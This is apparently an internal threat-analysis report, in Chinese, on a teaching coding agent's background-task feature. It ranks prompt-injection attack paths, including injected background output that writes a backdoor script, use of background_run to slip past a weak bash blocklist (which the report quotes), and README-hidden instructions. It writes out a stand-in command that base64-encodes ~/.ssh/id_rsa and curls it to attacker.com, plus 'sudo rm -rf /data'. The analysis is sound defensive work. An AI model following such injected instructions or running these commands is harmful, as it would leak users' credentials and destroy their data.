ATA Ontology v4.6
🔍 native + extended-clean

SimpleAgent (s08_background_tasks) 威胁分析报告

📁 learn-claude-code / agents/s08_background_tasks.py 📅 2026-04-20 🎯 RiskScore v1.4 🔖 Tag System v1.5 🧠 234 LoC · Python 3
01 · 执行摘要
最高 RiskScore
11.34
AP-SIM-01
攻击路径
4
SC-GAP
3
创新点
2
ORP 提案
1
外部报告
3
🔴 核心发现 #1 — 新型注入向量(ORP 触发)
AttackerHTTPEndpointResponse(external_service_response):攻击者控制的外部 HTTP 服务端点响应体,通过 background_run("curl URL") 可达;响应内容经后台通知队列异步注入 LLM 上下文(delivery_channel: async_bg_notification · T-AUTO=1.5),完全绕过所有安全检查。ORP-SIM-01 已修订为双扩展提案(new entry_type + new delivery_channel 属性)。
🟠 核心发现 #2 — 安全策略双通道不对称
bash 工具有 dangerous_blocklist(极弱,5项),background_run 工具无任何检查。攻击者只需将目标命令通过 background_run 执行即可完全绕过所有限制,制造"安全错觉"。
核心攻击面三维度
维度内容风险等级
创新机制攻击面 background_run 通知队列自动注入(INN-01):T-AUTO=1.5,零过滤,以 role=user 注入 LLM CRITICAL
安全策略缺陷 双执行路径不对称(INN-02):bash 有弱 blocklist,background_run 无检查 CRITICAL
经典漏洞面 无内容过滤(read_file/write_file 仅路径防护)+ blocklist 未覆盖 curl/wget/nc/base64 HIGH
02 · Top 攻击路径排名
🥇 AP-SIM-01
后台任务输出注入 → 文件写入后门
11.34
RiskScore
extended-clean SC-GAP-BGRESULT-INJECT INN-01 ORP-SIM-01
PoisoningEntry(AttackerHTTPEndpointResponse · external_service_response · REG · T-AUTO=1.5)
Source: <background-results> block [role=user]
Sink1: write_file("run.sh", payload) [SK-PERSIST/SK-TOOL-WRITE]
Sink2: bash("chmod +x run.sh && ./run.sh") [SK-EXEC/SK-TOOL-EXEC]
Harm: CodeExecution + FilePersistence [HIGH]
难度分
0.60
逃逸0 精度-1 先验-1 感知-1 诱导-1
Source + Sink
4.50 + 3.84
REG×T-AUTO · 危害0.8×范围0.8
Novelty
+3
Breakthrough=2 · Rarity=1
UserInstructIntent
UI-TASK_EXECUTE
伪装:运行后台数据获取任务
SinkIntent
SI-PERSIST_CODE
在工作目录写入可执行后门脚本
AttackIntentTag
AI-PERSISTENCE
建立代码级跨会话持久化后门
关键漏洞s08:191-196 drain_notifications() 将 500 chars 原始命令输出直接注入 role=user 消息,无任何 SecurityChecker。
🥈 AP-SIM-02
background_run 安全策略绕过 → 无限制命令执行
11.24
RiskScore
native SC-GAP-BGRUN-NO-CHECK INN-02
PoisoningEntry(REPLSessionInput · user_comment · REG · T-ANY=1.2)
Source: REPL 输入 → LLM 选用 background_run(无安全检查路径)
Sink: background_run("sudo rm -rf /data") [SK-EXEC · 无检查]
Harm: UnrestrictedExecution [CRITICAL]
# bash 工具 (s08:122-125) — 有检查
def run_bash(command):
    dangerous = ["rm -rf /", "sudo", "shutdown", "reboot", "> /dev/"]
    if any(d in command for d in dangerous):
        return "Error: Dangerous command blocked"

# background_run (s08:66-80) — ❌ 无任何检查
def _execute(self, task_id, command):
    r = subprocess.run(command, shell=True, cwd=WORKDIR, ...)
难度分
0.70
逃逸0 精度-1 先验-1 感知-1
Source + Sink
4.20 + 5.04
REG×T-ANY · 危害0.9×范围0.8
Novelty
+2
Breakthrough=1 · Rarity=1
UserInstructIntent
UI-TASK_EXECUTE
请求执行"长任务"(后台更合适)
SinkIntent
SI-EXEC_INJECT
通过无检查路径执行被拦截命令
AttackIntentTag
AI-EXECUTION
绕过安全策略,任意代码执行
🥉 AP-SIM-03
读取恶意文件 → 提示词注入 → 凭证外泄
6.96
RiskScore
extended-clean SC-GAP-SAFEPATH-PARTIAL
PoisoningEntry(MaliciousLocalFile · public_repo · REG · T-ANY=1.2)
Source: read_file("README.md") → 注入 HTML 注释中的指令
Sink: bash("cat ~/.ssh/id_rsa | base64 | curl -X POST attacker.com") [SK-NET]
Harm: CredentialExfiltration — SSH Key / API Key [HIGH]
难度分
0.60
逃逸0 精度-1 先验-1 感知-1 诱导-1
Source + Sink
3.60 + 3.36
REG×T-ANY · 危害0.8×范围0.7
Novelty
+0
行业已知(OWASP LLM01)
UI-
UI-QUERY_INFO
分析代码库/文档
SI-
SI-EXFIL_MCP
通过 curl 将凭证外发
AI-
AI-EXFILTRATION
凭证数据外泄
4 · AP-SIM-04
提示词注入 → 写入文件 → 跨会话持久化
5.10
RiskScore
native SC-GAP-SAFEPATH-PARTIAL
PoisoningEntry(继承先导AP实体 · AP-SIM-01或03 · REG · T-ANY)
Source: 先导 AP 注入上下文 → write_file 写入持久化后门
Sink: write_file("Makefile", poisoned_content) [SK-PERSIST/SK-TOOL-WRITE]
Harm: FilePersistence → 供应链扩散 [MEDIUM]
难度分
0.50
逃逸0 精度-1 先验-1 感知-2 诱导-1
Source + Sink
3.00 + 2.10
REG×T-ANY · 危害0.7×范围0.6
Novelty
+0
已知模式
03 · 创新点专项安全分析
INN-01
background_run 通知队列自动注入机制
独特性:异步后台任务输出通过 _notification_queue 在下次 LLM 调用前自动注入 role=user 消息。与标准 tool_result 不同:注入时机解耦、自动触发(T-AUTO=1.5)、以用户消息角色进入上下文。

新攻击面:PoisoningEntry 实体为AttackerHTTPEndpointResponse(entry_type: external_service_response,ORP-SIM-01A),通过 delivery_channel: async_bg_notification(ORP-SIM-01B)注入——Ontology v4.6 尚未收录此实体类型及投递通道属性。

绕过安全检查完全绕过——注入路径(s08:191-196)无任何 SecurityChecker。
# s08:191-196 — 原始输出直接注入,零过滤
notif_text = "\n".join(f"[bg:{n['task_id']}] {n['status']}: {n['result']}" for n in notifs)
messages.append({"role": "user", "content": f"<background-results>\n{notif_text}\n</background-results>"})
🔴 CRITICAL ✅ 可 patch 修复:drain 后对 result 内容做 injection 检测
INN-02
双执行通道安全不对称设计
独特性:同一 Agent 提供两条 shell 执行路径,安全策略完全不一致:bash 有弱 blocklist,background_run 无任何检查。

新攻击面:攻击者只需让模型选择 background_run 而非 bash 即可绕过所有限制。

安全含义:dangerous_blocklist 制造"安全错觉"——用户/开发者可能误认为危险命令被全局拦截。
🔴 CRITICAL ✅ 可 patch 修复:命令检查提取为通用函数,两条路径共用
04 · SecurityChecker 有效性矩阵
安全机制对 AP-SIM-01对 AP-SIM-02对 AP-SIM-03对 AP-SIM-04有效性
safe_path()
路径穿越防护
N/A N/A ⚠️ 部分 ⚠️ 部分 ⭐⭐⭐ 部分有效
dangerous_blocklist
5项字符串匹配,仅 bash
❌ 无效 ❌ 被绕过 ❌ 未覆盖 N/A 极弱
daemon 线程
生命周期管理
❌ 无效(DoS防护) ⚠️ DoS防护 N/A N/A ⭐⭐ DoS 防护
超时限制
bash:120s / bg:300s
⚠️ DoS防护 ⚠️ DoS防护 ⚠️ DoS防护 ⚠️ DoS防护 ⭐⭐⭐ DoS 防护
整体安全层有效性:⭐⭐(2/5) — 现有机制仅有效防护路径穿越和 DoS,对提示词注入和策略绕过无保护。
05 · 安全缺口(SC-GAP)
SC-GAP-BGRESULT-INJECT
后台任务结果注入块无内容过滤
<background-results> 块在每次 LLM 调用前自动注入,来自任意 shell 命令的原始 stdout/stderr(截断 500 chars),无任何内容检测或 SecurityChecker。T-AUTO=1.5 使此路径成为所有攻击入口中触发概率最高的。
影响:AP-SIM-01 INN-01 ORP-SIM-01
SC-GAP-BGRUN-NO-CHECK
background_run 无任何命令安全检查
background_run 工具通过 subprocess.run(shell=True) 直接执行命令,没有 dangerous_blocklist 检查(该检查只在 run_bash() 中实现)。两条执行路径的安全策略完全不对称,制造"安全错觉"。
影响:AP-SIM-02 INN-02
SC-GAP-SAFEPATH-PARTIAL
safe_path() 仅防路径穿越,不检查内容
safe_path() 仅验证路径是否在 WORKDIR 内,不检查读取或写入的文件内容。恶意 prompt injection 内容隐藏于合法路径的文件中,可完全通过此检查。
影响:AP-SIM-03 AP-SIM-04
06 · ORP Ontology 修订提案
ORP-SIM-01
multi_extension · PoisoningEntry
🟡 pending_review(2026-04-20 修订)
PoisoningEntry += external_service_response(entry_type)+ delivery_channel(新属性)
修订说明:原提案将 background_task_output 作为 entry_type 新增值,但该名称是投递机制描述而非实体类型分类,违反 Ontology §4.2 实体语义一致性约束。修订为双扩展:

扩展 A · 新增 entry_type = external_service_response:外部 HTTP 服务端点响应内容或 Shell 命令输出的实体类型。区别于 mcp_tool_response(MCP 协议结构化、绑定 tool_use_id);覆盖任意 HTTP API / curl 响应等外部实体。

扩展 B · 新增属性 delivery_channel:描述 PoisoningEntry 实体内容进入 LLM 上下文的通道机制(独立于实体类型)。枚举:sync_tool_result / async_bg_notification(T-AUTO) / memory_injection / system_prompt_edit。
维度mcp_tool_responseexternal_service_response(修订)
描述对象MCP 服务器响应实体外部 HTTP/Shell 响应实体
注入通道sync_tool_resultasync_bg_notification(delivery_channel)
触发系数T-ANYT-AUTO=1.5
语义层次entry_type(实体类型)entry_type + delivery_channel(分离)
来源 AP:AP-SIM-01 | 优先级:high | 详见:08_poisoning_entry_design_note.md §3
07 · 外部报告对比
OWASP Gen AI Security Project · 2025
Indirect Prompt Injection 被列为 AI Agent 最高优先级威胁:攻击者通过控制 Agent 处理的外部数据(工具输出、网页、文档)操控行为。
与本分析对应:AP-SIM-01(background 输出注入)、AP-SIM-03(文件内容注入)均属于 OWASP 定义的 Indirect Injection 类别。 ✓ 内外一致
Trail of Bits · 2025-04-21
"Line Jumping":MCP 服务器通过工具描述字段注入提示词,在工具被调用之前就影响 Agent 行为,完全绕过"显式同意"原则。
与本分析对应:AP-SIM-01 的 background_run 通知注入与 Line Jumping 有相似性——结果在下次 LLM 调用前自动进入上下文,先于用户意识。 ≈ 类似机制,不同路径
arXiv · 2025
现代 Agentic Coding Assistants(bash + 文件系统 + 工具调用)在文件读取、外部内容处理时均面临 Indirect Prompt Injection 威胁。CVE-2025-53773(GitHub Copilot/VSCode)通过 prompt injection 修改 settings.json 实现 RCE。
与本分析对应:AP-SIM-03(读取恶意文件 → 凭证外泄)与该类攻击高度吻合。 ✓ 行业验证
🔵 内部独有发现(外部文献未覆盖)
AP-SIM-02(双执行路径安全不对称) + AP-SIM-01 的 async_bg_notification 投递变体(AttackerHTTPEndpointResponse → delivery_channel: async_bg_notification):在已检索的 10 份外部报告中,未见对「同一 Agent 双路径安全策略不对称」及「外部 HTTP 响应通过异步后台通知队列自动注入 LLM 上下文」的专项分析。
08 · AgentProfile(Mock 使能信息)
Assembly(系统提示组装)
静态单一字符串
f"You are a coding agent at {WORKDIR}. Use background_run for long-running commands."
唯一变量:WORKDIR(启动时固化为 Path.cwd())
Execution(工具清单)
🔧 bash — 同步 shell,弱 blocklist
📖 read_file — 文件读取,safe_path
✍️ write_file — 文件写入,safe_path
✏️ edit_file — 文件编辑,safe_path
background_run — 异步 shell,无检查
🔍 check_background — 状态查询
Safety Check(安全机制)
✓ safe_path(): 路径穿越防护(3个文件工具)
⚠ dangerous[5项]: 仅 bash 工具,不含 curl/wget/base64
⚠ timeout: bash=120s, bg=300s
✗ background_run: 完全无检查
✗ 无内容过滤,无 Approval/HITL
Correlation(跨会话关联)
✗ 无持久化记忆(无 MEMORY.md/USER.md)
✗ 无跨会话关联机制
⚠ 唯一持久化路径:write_file(文件系统)
Mock 说明:无需模拟长期记忆层
INN 风险等级
INN描述风险可 patch修复方案
INN-01 background 通知队列自动注入(T-AUTO=1.5,零过滤) CRITICAL ✅ 可修复 drain_notifications() 后对 result 内容做 injection 检测
INN-02 双执行路径安全不对称(bash 有弱检查,background_run 无检查) CRITICAL ✅ 可修复 命令安全检查提取为通用函数,两条路径统一应用
SimpleAgent 威胁分析报告 · ATA Ontology v4.6 · RiskScore v1.4
learn-claude-code / s08_background_tasks.py · 分析日期:2026-04-20
ATA Landscape Project · 内部分析文档